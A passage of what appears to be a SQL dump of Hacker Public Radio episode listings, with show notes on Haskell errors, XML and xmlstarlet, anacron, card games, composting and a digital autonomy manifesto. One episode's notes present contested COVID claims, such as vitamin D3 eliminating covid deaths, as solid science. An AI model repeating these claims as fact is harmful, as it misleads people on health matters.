ErrorDescription: &quot;Stat intrigue is too low&quot;\r\n }\r\n]\r\n</code></pre>\r\n<p>Since manually wrapping things in <code>ECode</code> gets tedious after a while, I defined function for each type of error that does that for me:</p>\r\n<pre><code>statIsTooLow :: Text -&gt; ECode\r\nstatIsTooLow s = ECode $ StatIsTooLow s\r\n</code></pre>\r\n<p>Now, instead of writing <code>ECode $ StatIsTooLow \"intrigue\"</code>, I can write <code>statIsTooLow \"intrigue\"</code>. And if I ever decide to change internals of errors again, I can change how these functions are defined and hopefully dont have to change each and every place where theyre being used.</p>\r\n<h2 id=\"different-solution\">Different solution</h2>\r\n<p>Another way to tackle this problem is to use records instead of algebraic data types:</p>\r\n<pre><code>data ECode = ECode\r\n { httpCode :: Int\r\n , description :: Text\r\n }\r\n\r\nstatIsTooLow :: Text -&gt; ECode\r\nstatIsTooLow s =\r\n ECode\r\n { httpCode = 400\r\n , description = &quot;Stat &quot; ++ s ++ &quot; is too low&quot;\r\n }\r\n</code></pre>\r\n',364,107,1,'CC-BY-SA','haskell, error reporting',0,0,1),
(3393,'2021-08-04','We need to talk about XML',1885,'An extensible markup language? This is too good to be true!','<p>Klaatu introduces XML.</p>\r\n\r\n<p>\r\nThe sample XML document discussed in this episode is&#58;\r\n</p>\r\n\r\n<pre>\r\n<code>\r\n&#60;xml&gt;\r\n &#60;sol&gt;\r\n &#60;planet&gt;\r\n &#60;name&gt;\r\n Mercury\r\n &#60;&#47;name&gt;\r\n &#60;albedo&gt;\r\n 0.11\r\n &#60;&#47;albedo&gt;\r\n &#60;&#47;planet&gt;\r\n &#60;planet&gt;\r\n &#60;name&gt;\r\n Venus\r\n &#60;&#47;name&gt;\r\n &#60;albedo&gt;\r\n 0.7\r\n &#60;&#47;albedo&gt;\r\n &#60;&#47;planet&gt;\r\n &#60;planet&gt;\r\n &#60;name&gt;\r\n Terra\r\n &#60;&#47;name&gt;\r\n &#60;albedo&gt;\r\n 0.39\r\n &#60;&#47;albedo&gt;\r\n &#60;&#47;planet&gt;\r\n &#60;&#47;sol&gt;\r\n&#60;&#47;xml&gt;\r\n</code>\r\n</pre>\r\n',78,0,0,'CC-BY-SA','xml,data,markup,markdown',0,0,1),
(3394,'2021-08-05','Be an XML star with xmlstarlet',1591,'Parse XML from the terminal','<p>See the layout of an XML document</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet elements planets.xml\r\nxml\r\nxml/sol\r\nxml/sol/planet\r\nxml/sol/planet/name\r\nxml/sol/planet/albedo\r\nxml/sol/planet\r\nxml/sol/planet/name\r\nxml/sol/planet/albedo\r\nxml/sol/planet\r\nxml/sol/planet/name\r\nxml/sol/planet/albedo\r\n</code>\r\n</pre>\r\n\r\n<p>See content of the <strong>planet</strong> node</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet\' planets.xml\r\n\r\n Mercury\r\n 0.11\r\n\r\n Venus\r\n 0.7\r\n\r\n Terra\r\n 0.39\r\n</code></pre>\r\n\r\n<p>Get the third instance of the <strong>planet</strong> node</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet[3]\' planets.xml\r\nTerra\r\n0.39\r\n</code></pre>\r\n\r\n<p>Get only the planets with an albedo greater than 0.25</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet[albedo > 0.25]\' planets.xml\r\n\r\nVenus\r\n0.7\r\n\r\nTerra\r\n0.39\r\n</code></pre>\r\n\r\n<p>Get only the planets closer to Sol than the third planet</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet[position() < 3]\' planets.xml\r\n\r\nMercury\r\n0.11\r\n\r\nVenus\r\n0.7\r\n</code></pre>\r\n\r\n<p>Learn more XPath functions at <a href=\"https://developer.mozilla.org/en-US/docs/Web/XPath\" target=\"_blank\">Mozilla Developer Network</a>.</p>\r\n\r\n<p>Download xmlstarlet from <a href=\"https://xmlstar.sourceforge.net\"\r\ntarget=\"_blank\">xmlstar.sourceforge.net</a> (<a href=\"https://sourceforge.net/projects/xmlstar/\">https://sourceforge.net/projects/xmlstar/</a>).\r\n</p>\r\n',78,0,0,'CC-BY-SA','xml,data,markup,markdown',0,0,1),
(3441,'2021-10-11','Murphy Work Bench',842,'Operator talks about hitting his head on his work bench','<ul>\r\n<li>PROS:\r\n<ul>\r\n<li>easy clean up just fold and vacuum</li>\r\n<li>height is great for tall people so I\'m not hunched over the table</li>\r\n<li>saves space</li>\r\n</ul></li>\r\n<li>CONS:\r\n<ul>\r\n<li>I ran into it 2 times so I rounded the edges</li>\r\n<li>I just now hit my head on it ... folded and crashed everything on the table to the ground and pic I custom made fell of the wall and into my AC water bucket</li>\r\n<li>loud when using and setting up everything echoes though the walls at night etc</li>\r\n</ul></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B08F4VNT9P\" class=\"uri\">https://smile.amazon.com/gp/product/B08F4VNT9P</a> $60</li>\r\n<li>MDF cut at Lowes $50</li>\r\n</ul>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3441/WorkBench.gif\" alt=\"https://hackerpublicradio.org/eps/hpr3441/WorkBench.gif\" /></p>\r\n',36,0,1,'CC-BY-SA','DIY,wood working,hacking',0,0,1),
(3396,'2021-08-09','Card roles in Magic the Gathering',2367,'There are over 25,000 cards in MTG. You only need 60 to play.','<p>Cutting to the chase&#58;</p>\r\n<p>When getting into Magic the Gathering, it&#39;s easy to get overwhelmed and confused by choice. Instead of thinking about cards, I&#39;ve learnt to think about the game mechanic roles that a deck needs to have satisfied, and then I look for cards that fill those roles.\r\n</p>\r\n\r\n<p>My list is by no means definitive, but I think these are the basic universal roles you need, regardless of how you play&#58;</p>\r\n\r\n<ul>\r\n<li>Mana base&#58; Land cards. These provide you with mana so you can play cards. For a 60 card deck, anticipate requiring about 24. In a later episode, I&#39;ll talk about additional ways to manage mana.</li>\r\n<li>General purpose&#58; Creatures, enchantments, instants, artifacts, and so on. These are cards, costing a full spectrum of mana amounts &#40;some you can play for 1 or 2 mana, others require 4 and 5 and more&#41;, that you need to populate your deck. These don&#39;t need to be anything special, unless you want to spend money for really fancy cards, but I assume you&#39;re not listening to me if you&#39;re a pro player.<//i>\r\n<li>Card draw&#58; You&#39;re going to deplete your hand unless you have cards that give you permission to draw more cards than just your allotted one-per-turn.</li>\r\n<li>Recursion&#58; When you&#39;re forced to discard a card you really really wanted to play, you&#39;ll be glad to have some cards that grant you permission to bring that card back from your graveyard. This is called &#34;recursion&#34; by Magic players.</li>\r\n</ul>\r\n\r\n<p>There are other card types that can be useful, but they may be best for specific strategies. The ones I list here are, I believe, pretty universal.\r\n</p>\r\n\r\n<p>You can find lists of cards that fill specific roles with a simple Internet search. For instance, if you realize you have no cards that let you replenish your hand, you might search for &#34;best cards to draw cards MTG&#34; and get directed to a site like <a href=\"https://tappedout.net/mtg-decks/list-of-edh-draw-cards/\" target=\"_blank\">TappedOut.net</a> or <a href=\"https://magic.wizards.com/en/articles/archive/feature/top-50-card-drawing-cards-2003-03-21-0\" target=\"_blank\">magic.wizards.com</a>.</p>\r\n\r\n<p>Go to your local game store or an online vendor to buy just the cards you need. Because there are so many to choose from in any given category, you get to control the price. I have a rule for myself that do not spend over $2 on any single card.\r\n</p>\r\n\r\n<p>When trying to fill roles, I generally aim to get 4 cards that do the thing I need. Sometimes I get exactly the same card 4 times, other times I get a variety of cards to fill the role. Either way, 4 usually feels like a good draw frequency for each role.</p>\r\n\r\n',78,0,0,'CC-BY-SA','magic, mtg, card, tcg',0,0,1),
(3401,'2021-08-16','Mana hacks',1924,'Klaatu muses about mana ramping in Magic the Gathering','<p>The categories of mana ramps I have defined for myself are&#58;</p>\r\n<ul>\r\n<li>Mana acquired outside of the land drop action</li>\r\n<li>Getting more mana for less</li>\r\n<li>Mana saved up over time</li>\r\n</ul>\r\n',78,95,0,'CC-BY-SA','magic, mtg, card, tcg, mana',0,0,1),
(3397,'2021-08-10','What is a PineTime',595,'In this podcast I talk a little bit about the pinetime.','<p>\r\nThis is the first impression of a PineTime watch that I bought about a week ago and have already done some changes to the underlying code. I think this is an interesting project and open source so you can contribute.\r\n</p>\r\n<p>\r\nGithub repository:\r\n<a href=\"https://github.com/JF002/InfiniTime\">https://github.com/JF002/InfiniTime</a>\r\n</p>\r\n<p>\r\nSales page:\r\n<a href=\"https://www.pine64.org/pinetime/\">https://www.pine64.org/pinetime/</a>\r\n</p>',382,0,0,'CC-BY-SA','open source, watch, coding',0,0,1),
(3406,'2021-08-23','A study of cards in games',1633,'Currency, deterrent, coersion, clutter, rules','<p>What function cards have in games.</p>',78,95,0,'CC-BY-SA','card, game',0,0,1),
(3402,'2021-08-17','Reading a manifesto: Declaration of Digital Autonomy',877,'Reading and brief commentary and background on Molly DeBlanc\'s and Karen Sandler\'s techautonomy.org','<p><em>This episode, as its source material, is licensed under the Creative Commons Attribution-ShareAlike 4.0 International license.</em></p>\r\n<h2 id=\"previously\">Previously</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3317\">hpr3317</a> :: Reading a manifesto: Towards A Cooperative Technology Movement</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3326\">hpr3326</a> :: HPR Community News for April 2021</li>\r\n</ul>\r\n<h2 id=\"free-software-timeline\">Free Software Timeline</h2>\r\n<ul>\r\n<li>1983-09: <a href=\"https://www.gnu.org/gnu/initial-announcement.html\">The GNU Project announced</a></li>\r\n<li>1985-03: The GNU Manifesto <a href=\"https://www.gnu.org/gnu/manifesto.en.html\">[1987, GNU]</a> <a href=\"https://archive.org/details/dr_dobbs_journal_vol_10/page/n197/mode/2up\">[Dr. Dobb\'s 1985, Internet Archive]</a></li>\r\n<li>1986-02: The <a href=\"https://www.gnu.org/philosophy/free-sw.en.html\">Free Software Definition</a> <a href=\"https://www.gnu.org/bulletins/bull1.txt\">[original bulletin]</a></li>\r\n<li>1997-05: <a href=\"https://www.catb.org/~esr/writings/cathedral-bazaar/\">The Cathedral and the Bazaar</a></li>\r\n<li>1997-07: The <a href=\"https://www.debian.org/social_contract#guidelines\">Debian Free Software Guidelines</a> <a href=\"https://lists.debian.org/debian-announce/1997/msg00017.html\">[original mail]</a></li>\r\n<li>1998-01: The Mozilla Project</li>\r\n<li>1998-02: The Open Source Initiative</li>\r\n<li>1998-02: The <a href=\"https://opensource.org/osd\">Open Source Definition</a></li>\r\n<li>2011-02: Simon Phipps\'s <a href=\"https://webmink.com/essays/open-by-rule/\">Open-By-Rule Benchmark</a></li>\r\n<li>2015-02: <a href=\"https://opensourcedesign.net/2015/02/01/opensourcedesign-fosdem\">FOSDEM 2015 Open Source Design track</a></li>\r\n<li>2017-07: <a href=\"https://ekprayogblog.wordpress.com/2017/07/13/open-design-manifesto/\">Open Design Manifesto (ekprayog)</a></li>\r\n<li>2018-08: DebConf 18: <em>That\'s a free software Issue!</em> by Sandler and de Blanc <a href=\"https://debconf18.debconf.org/talks/38-thats-a-free-software-issue/\">[debconf]</a> <a href=\"https://peertube.debian.social/videos/watch/1461a829-a7fe-421a-9f0e-ef9b5db96ea9\">[peertube]</a></li>\r\n<li>2019-09: <a href=\"https://stallman.org/archives/2019-jul-oct.html#16_September_2019_%28Resignation%29\">rms resigns from the FSF</a></li>\r\n<li>2020-04: <a href=\"https://github.com/opensourcedesign/opensourcedesign.github.io/blob/e5e2ece7f08d16bc634f5e065cd27251862f616d/manifesto.md\">Open Source Design Manifesto (opensourcedesign.net)</a></li>\r\n<li>2020-07: GUADEC 2020: Principles of Digital Autonomy <a href=\"https://invidious.namazso.eu/watch?v=60cwBKZFIf4\">[invidious]</a> <a href=\"https://www.youtube.com/watch?v=60cwBKZFIf4\">[youtube]</a></li>\r\n<li>2020-08: DebConf 2020: Principles of Digital Autonomy <a href=\"https://debconf20.debconf.org/talks/97-introducing-the-principles-of-digital-autonomy/\">[debconf]</a> <a href=\"https://peertube.debian.social/videos/watch/0ccc2893-06dd-4c36-81d1-838441666bec\">[peertube]</a></li>\r\n<li>2021-03: Simon Phipps\'s <a href=\"https://meshedinsights.com/2021/03/18/rights-ratchet-score-card/\">A Rights Ratchet Score Card</a></li>\r\n<li>2021-03: <a href=\"https://media.libreplanet.org/u/libreplanet/m/unjust-computing-clamps-down/\">LibrePlanet 2021: rms returns to FSF board</a></li>\r\n<li>2021-04: Cooperative Technology manifesto <a href=\"https://hackerpublicradio.org/eps.php?id=3317\">[hpr3317]</a> <a href=\"https://cooperativetechnology.codeberg.page/\">[official]</a></li>\r\n</ul>\r\n<p>Further sources for timeline:</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/History_of_netscape\">https://en.wikipedia.org/wiki/History_of_netscape</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/History_of_free_and_open-source_software\">https://en.wikipedia.org/wiki/History_of_free_and_open-source_software</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar\">https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Open_Source_Initiative\">https://en.wikipedia.org/wiki/Open_Source_Initiative</a></li>\r\n</ul>\r\n<h2 id=\"people\">People</h2>\r\n<h3 id=\"molly-deblanc\">Molly DeBlanc</h3>\r\n<p><a href=\"https://deblanc.net/blog/about/\">https://deblanc.net/blog/about/</a></p>\r\n<ul>\r\n<li>Former Campaigns Manager, FSF</li>\r\n<li>Former President of the Board, OSI</li>\r\n<li>Current Strategic Initiatives Manager, GNOME Foundation</li>\r\n<li>Current Debian Community Team</li>\r\n</ul>\r\n<h3 id=\"karen-sandler\">Karen Sandler</h3>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Karen_Sandler\">https://en.wikipedia.org/wiki/Karen_Sandler</a></p>\r\n<ul>\r\n<li>Former General Counsel, SFLC</li>\r\n<li>Former Executive Director, GNOME Foundation</li>\r\n<li>Current Executive Director, SFC</li>\r\n</ul>\r\n<h2 id=\"manifesto\">Manifesto</h2>\r\n<p><a href=\"https://techautonomy.org/\">https://techautonomy.org/</a></p>\r\n<h3 id=\"declaration-of-digital-autonomy-draft-0-1-\">Declaration of Digital Autonomy (draft 0.1)</h3>\r\n<p>We demand a world in which technology is created to protect and empower the people who use it. Our technology must respect the rights and freedoms of those users. We need to take control for the purpose of collectively building a better world in which technology works in service to the good of human kind, protecting our rights and digital autonomy as individuals.</p>\r\n<p>We have become more reliant than ever on technology that we intertwine into every aspect of our lives. That technology is currently made not for us, those using it. Rather, it is for the companies who intend to monetize its use and whoever owns the associated copyrights and patents. Services are run via networked software on computers we never directly interact with. Our devices are designed to only function while broadcasting our intimate information regardless of whether the transmission of that information is necessary functionality. We generate data that we do not have access to, that is bought, sold, and traded between corporations and governments. Technologies we\'re increasingly being forced to use reinforce and amplify social inequalities. As schools and jobs go online, high speed computing, centralized services and Internet become inescapably necessary. Technology is designed and implemented to oppress, often with sexist, classist, and racist implications. Rather than being served by these tools, we are instead in service to them. These gatekeepers of our technology are not individual people or public organizations who think about the wellbeing of others, but instead are corporations, governments and others with agendas that do not include our best interests. Our technology has become the basic infrastructure on which our society functions, and yet the individuals who use it have no say or control over its function.</p>\r\n<p>It\'s time to change our digital destiny.</p>\r\n<p>We believe it is necessary for technology to provide opportunity for: informed consent of use; transparent development and operation; privacy and security from bad actors; interaction without fear of surveillance; technology to work primarily on the terms of the people using it; functionality inside and outside of connected networks; use with other services and other software, repair; and connection, and not alienation, from the technology itself and that which is created from it.</p>\r\n<p>We therefore call for the adoption of the following principles for ethical technology:</p>\r\n<ul>\r\n<li><h4 id=\"in-service-of-the-people-who-use-it\">In service of the people who use it</h4>\r\nFrom conception through to public availability, technology must be in the service of the people and communities who use it. This includes a freedom from surveillance, data gathering, data sales, and vendor and file format lock-in. When it becomes apparent that the technology, as it is delivered, does not meet the needs of a given person, that person is able to change and repair their technology. Technology must have an option for use without an Internet connection.</li>\r\n<li><h4 id=\"informed-consent\">Informed consent</h4>\r\nPeople must have the ability to study and understand the technology in order to decide whether using it as is is the right choice for them. People must be able to determine, either directly or through third parties, how the technology is operating and what information it is collecting, storing and selling. Additionally, there should be no punitive responses for declining consent -- practical alternatives must be offered, whether those are changes to the underlying technology or compatible updates from the original provider or from third parties.</li>\r\n<li><h4 id=\"empowering-individual-and-collective-digital-action\">Empowering individual and collective digital action</h4>\r\n<p>When people discover that their technology is not functioning in their interest, or that the trade offs to use it have become too burdensome, they must have the ability to change what they are using, including the ability to replace the software on a device that they have purchased if it is not serving their interests and to use the technology while not being connected to a centralized network or choose a different network.</p>\r\n<p>Technology should not just be designed for the individuals using it, but also the communities of users. These communities can be those intentionally built around a piece of technology, geographic in nature, or united by another shared purpose. This includes having the ability and right to organize to repair the technology on and to migrate essential data to other solutions. Ownership of essential data must belong to the community relying on them.</p>\r\n</li>\r\n<li><h4 id=\"protect-people-s-privacy-and-other-rights-by-design\">Protect people\'s privacy and other rights by design</h4>\r\nBuilding technology must be done to respect the rights of people, including those of privacy, open communication, and the safety to develop ideas without fear of monitoring, risk, or retribution. These cannot be tacked on as afterthoughts, but instead must be considered during the entire design and distribution process. Services should plan to store the minimum amount of data necessary to deliver the service in question, not collect data that may lay the groundwork for a profitable business model down the road. Regular deletion of inessential data should be planned from the outset. Devices need to have the ability to run and function while not transmitting data. All of these requirements are to better ensure privacy, as everytime a device wirelessly transmits or otherwise broadcasts data there is opportunity for interference or theft of that data.</li>\r\n</ul>\r\n<p>We, as individuals, collectives, cultures, and societies, are making this call in the rapidly changing face of technology and its deepening integration into our lives. Technology must support us as we forge our own digital destinies as our connectivity to digital networks and one another changes in ways we anticipate and in ways we have yet to imagine. Technology makers and those who use this technology can form the partnerships necessary to build the equitable, hopeful future we dream of.</p>\r\n<p><em>We\'d love to hear what you think! Let us know by emailing thoughts@ this domain.</em></p>\r\n<p><em>The Declaration of Digital Autonomy is (c) Molly de Blanc and Karen M. Sandler, 2020, licensed under Creative Commons Attribution-ShareAlike 4.0 International.</em></p>\r\n',311,0,1,'CC-BY-SA','manifesto, community, free software, open source, politics, philosophy, digital autonomy',0,0,1),
(3398,'2021-08-11','Anacron',949,'Put down that crontab and get started with anacron','<h2>Setup</h2>\r\n\r\n<pre><code>\r\n$ mkdir -p ~/.local/etc/cron.daily ~/.var/spool/anacron\r\n</code></pre>\r\n\r\n\r\n<p>Create a file called <code>anacrontab</code>&#58;</p>\r\n\r\n<pre><code>\r\n$ touch /.local/etc/anacrontab\r\n</code></pre>\r\n\r\n<p>Set it up to trigger scripts in your <code>cron.daily</code> folder&#58;\r\n</p>\r\n\r\n<pre><code>\r\nSHELL=/bin/sh\r\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\r\n1 0 cron.daily run-parts $HOME/.local/etc/cron.daily/\r\n</code></pre>\r\n\r\n<p>\r\nValidate your anacrontab&#58;\r\n</p>\r\n\r\n<pre><code>\r\n$ anacron -T -t ~/.local/etc/anacrontab -S ~/.var/spool/anacron\r\n</code></pre>\r\n\r\n<p>Start anacron in a file that gets triggered at login, such as <code>~/.profile</code>&#58;\r\n</p>\r\n\r\n<pre><code>\r\nanacron -t $HOME/.local/etc/anacrontab -S $HOME/.var/spool/anacron\r\n</code></pre>\r\n\r\n<h2>Using</h2>\r\n\r\n<p>Now that everything is set up, just put scripts you want to run regularly in <code>cron.daily</code>, and make them executable.\r\n</p>\r\n\r\n<p>You can set up a weekly directory, too. Just set the time interval in your anacrontab to:\r\n</p>\r\n\r\n<pre><code>\r\nSHELL=/bin/sh\r\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\r\n7 0 cron.weekly run-parts $HOME/.local/etc/cron.weekly/\r\n</code></pre>',78,0,0,'CC-BY-SA','cron, linux, service, automation',0,0,1),
(3411,'2021-08-30','Dominion card game',1673,'Klaatu talks about the Dominion card game','<p>Dominion is a card game. Lots of fun. You should try it.</p>\r\n\r\n<p>You can even play online for free at <a href=\"https://dominion.games/\">dominion.games</a>\r\n</p>',78,95,0,'CC-BY-SA','card, game',0,0,1),
(3409,'2021-08-26','Linux Inlaws S01E37: All about Hacker Public Radio',5738,'An interview with Ken Fallon, Janitor at Hacker Public Radio','<p>\r\n In this episode of our beloved open source podcast rapidly approaching its\r\n zenith of popularity (with hopefully not an equally rapid decline afterwards)\r\n our two elderly heroes pay tribute to Hacker Public Radio in general and\r\n Ken Fallon in particular. Plus: a never-heard-of-before peek into Martin\'s\r\n very own private life (we lift the veil and reveal it all - don\'t miss this!)\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Hacker Public Radio (HPR): <a href=\"https://hackerpublicradio.org\" target=_blank>https://hackerpublicradio.org</a></li>\r\n<li>HPR mailing list: <a href=\"https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org\" target=_blank>https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org</a></li>\r\n<li>Creative Commons Licenses: <a href=\"https://creativecommons.org\" target=_blank>https://creativecommons.org</a></li>\r\n<li>Static site generators: <a href=\"https://dev.to/oyetoket/which-is-the-best-static-site-generator-and-why-42e2\" target=_blank>https://dev.to/oyetoket/which-is-the-best-static-site-generator-and-why-42e2</a></li>\r\n<li>Richard Stallman issue: <a href=\"https://arstechnica.com/tech-policy/2019/09/richard-stallman-leaves-mit-after-controversial-remarks-on-rape\" target=_blank>https://arstechnica.com/tech-policy/2019/09/richard-stallman-leaves-mit-after-controversial-remarks-on-rape</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','HPR, cleaning, janitoring, having a good time, Richard M. Stallman, stats',0,0,1),
(3417,'2021-09-07','Ceph cluster hardware',729,'Looking into the hardware behind my ceph cluster ','<p>In this video I talk about 4 different computers that could be used in a ceph cluster and what I use and what could be good solutions. If you want to have a visual aid I\'ve created a youtube video talking about the same thing.</p>\r\n<ul>\r\n<li><a href=\"https://youtu.be/B6XXOVcLhzA\" class=\"uri\">https://youtu.be/B6XXOVcLhzA</a></li>\r\n</ul>\r\n',382,0,0,'CC-BY-SA','ceph, cluster, hardware',0,0,1),
(3437,'2021-10-05','The HTML document format',402,'Talking about my favorite document format.','<p>Klaatu asked us what document format we like and why, so this is a response to his podcast. In this podcast I talk about HTML and the importance of good document structure.</p>',382,0,0,'CC-BY-SA','html, document, css, javascript',0,0,1),
(3408,'2021-08-25','Composting',336,'Inspired by episode 3157, Rho`n describes his experience of learning to compost','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Welcome to another episode of Hacker Public Radio. This episode is inspired by HPR episode 3157 entitled Compost by Klaatu. During the early 2000\'s, I lived in a single family home which had a number of oak trees around it. Between the trees, other foliage, and grass, there was a large amount of yard waste. While my city (Baltimore, MD in the US) will pick up your yard waste if you put it in bags by the curb [1], I would use the oak leaves as mulch, and did have a mulch pile of leaves and other yard waste. At that time, I thought about composting food waste, but there is a big issue with rats in Baltimore, and I didn\'t look into ways to compost. I just knew I couldn\'t randomly mix it into my mulch pile.</p>\r\n<p>I am currently living in a different house, without any oak trees, and not as much yard waste (particularly since we hire someone to mow the grass every couple weeks). After listening to the Compost episode, I was inspired to look into the best way to do it given my current living situation. The first thing I did was to look and see if there are any laws against composting in Baltimore City. The rat problem is big enough that the City purchased and distributed a large green plastic trash bin to every physical mailing address in the city. This is the bin you are required to use when putting out your trash. Given the situation, I wasn\'t sure it would be legal to do composting in your back yard. Much to my surprise, it is not only legal, but the city website has a web page on how to compost [2] and just recently started a pilot program for food scrap drop off with seven locations around the city [3].</p>\r\n<h2 id=\"kitchen-compost-bin\">Kitchen Compost Bin</h2>\r\n<p>After determining I wasn\'t going to be a scofflaw, I went to the Internet to see what kind of bins are available for purchase. While Klaatu gives great suggestions for low cost composting bins, I wanted something that would look nice sitting out on a shelf for the small inside bin. I found the Utopia Kitchen Compost Bin [4]. The bin is made of stainless steel and has a volume of 1.3 gallons (4.9 liters). The lid is rounded and has a series of holes around the top. The inside of the lid holds a circular shaped charcoal filter. The combination of holes and charcoal filter capture any odors generated by the food scraps. It works amazingly well and even with onion scraps you need to stick your nose to the holes and inhale deep to smell anything when the lid is closed. It holds three to seven days worth of food scraps, most of which end up being coffee grinds. We have had this bin for 10 months, and the charcoal filter is still effective. There are replacement filters available for this bin, but you could also cut other charcoal filters to fit inside the lid.</p>\r\n<h2 id=\"outside-compost-bin\">Outside Compost Bin</h2>\r\n<p>Given the potential rat and other small critter issues, I wanted the main, outside composter to be fully enclosed, and preferably not sitting directly on the ground. A quick search brings up a number of options, both composters that sit on the ground and ones that are tumbler style, which hang on a frame. I went with a tumbler style compost bin. This provided the desired feature of not being on the ground, and has the added advantage of making it easy to turn the compost every second or third day by just rotating the bin slowly for three or four full turns. I purchased the FCMP Outdoor IM4000 Tumbling Composter [5]. The composter is octagonal shaped column with two chambers inside it. This allows you to fill one chamber while the other side is finishing the composting process. There are also aeration holes for each chamber which can be open to different levels to moderate the amount of moisture. The combined volume of the two chambers is approximately 37 gallons (140 liters).</p>\r\n<h2 id=\"my-composting-experience\">My Composting Experience</h2>\r\n<p>So far I have been very happy with this combination. I just emptied a chamber for the third time. I do have a bit of an issue with the compost being overly damp. I have mixed some drier yard waste in from time to time and that does help, but have had times when parts of it get a little slimy. I have also run into issues with flies and other bugs living in the chamber for a while, but generally I don\'t see them outside of the composter, just when I open the door to add more material. Not ideal, but not so bad that I did anything about it. I have also found certain things do take extra time to compost, and usually need some manual help to break down. Pits of mangoes and avocados in particular along with corn cobs take a long time to break down. They do start to compost, and are easy to crumble in your hands, but keep their basic shape for a long while. Egg shells don\'t really break down, as Klaatu mentioned, but they do become very brittle and I crumble them up manually along with the pits and corn cobs. Another issue I have found with damper compost, particularly in cooler months, it doesn\'t heat up enough to decompose the seeds of some plants. This ended up being a pleasant surprise this summer after mixing in the first batch of compost in our little herb garden during the spring. We now have a combination of plumb and medium sized tomato plants and some kind of squash plant growing in it. If you don\'t want random plants growing in your yard or flower beds, do be careful when composting plants with seeds [6].</p>\r\n<h2 id=\"conclusion\">Conclusion</h2>\r\n<p>While it takes a little extra effort, composting does reduce the amount of garbage you are sending to the dump, and does reduce the smell of your kitchen trash bin. It also gives a rewarding feeling as you watch the material break down into a rich dirt, and then mix it into your garden or yard. I recommend giving it a try, and posting your experience as another episode of Hacker Public Radio.</p>\r\n<h2 id=\"references\">References</h2>\r\n<ol>\r\n<li><a href=\"https://publicworks.baltimorecity.gov/pw-recycling/yard\">Baltimore City Department of Public Works-Yard Waste</a></li>\r\n<li><a href=\"https://publicworks.baltimorecity.gov/pw-bureaus/solid-waste/services\">Baltimore City Department of Public Works-Source Reduction</a></li>\r\n<li><a href=\"https://publicworks.baltimorecity.gov/foodscrapdrop-off\">Baltimore City Department of Public Works-Food Scrap Drop-Off Pilot Program</a></li>\r\n<li><a href=\"https://www.thespruceeats.com/utopia-kitchen-stainless-steel-compost-bin-review-4768116\">Utopia Kitchen Compost Bin</a></li>\r\n<li><a href=\"https://fcmponline.com/products/im4000-dual-chamber-tumbling-composter\">FCMP Outdoor IM4000 Tumbling Composter</a></li>\r\n<li><a href=\"https://www.gardeningknowhow.com/composting/ingredients/composting-tomato-plants.htm\">Composting Tomato Plants: When To Compost Tomatoes</a></li>\r\n</ol>\r\n',293,0,0,'CC-BY-SA','food,rubbish,landfill,gardening,compost,composting',0,0,1),
(3414,'2021-09-02','Critical Thinking may make You Critical of the Covid Crisis',645,'Some Science YOU can observe about covid fallacies, and some preventative medicine.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>Counter points to this show are available:<br />\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3442\">hpr3442 :: What is this thing called science</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3445\">hpr3445 :: True critical thinking seems to be the key</a></li>\r\n</ol>\r\n</p>\r\n<hr />\r\n<p>The homeless weren\'t affected as much as other segments of the population. This Radiolab episode suggests that healthy vitamin D3 levels from being out in the sun often may be the reason.</p>\r\n<p><a href=\"https://www.wnycstudios.org/podcasts/radiolab/articles/invisible-allies\" class=\"uri\">https://www.wnycstudios.org/podcasts/radiolab/articles/invisible-allies</a></p>\r\n<p>A hospital in Spain did a double blind study, solid science. In this study, before any vaccines were available for covid, vitamin D3 made the difference between a 7.6% death rate due to covid, and a 0% death rate with vitamin D3. This YouTube video gets very technical, but tells the story.</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=V8Ks9fUh2k8\" class=\"uri\">https://www.youtube.com/watch?v=V8Ks9fUh2k8</a></p>\r\n<p>Back in the 60s, body temperature\'s effect on fighting viruses was known, that knowledge was lost for a time because of scientists who spoke out, not knowing the whole story, but in 2003, in the aftermath of the previous covid outbreak, a doctor from China documented the need for body heat to fight off covid. Even so, medical professionals in New York set up a covid triage in Central Park during a season when the daytime temperature was in the 50s, and night time temperature was much colder. Just having a PhD behind your name doesn\'t make you right.</p>\r\n<p><a href=\"https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature\" class=\"uri\">https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature</a></p>\r\n',395,0,1,'CC-BY-SA','covid, vitamin D3, masks, viruses, lawyers',0,0,1),
(3404,'2021-08-19','Suse 15.3 Leap',652,'A short review of Suse 15.3','<p>Short review of Suse 15.3</p>\r\n',129,0,0,'CC-BY-SA','linux, suse, leap, vnc',0,0,1),
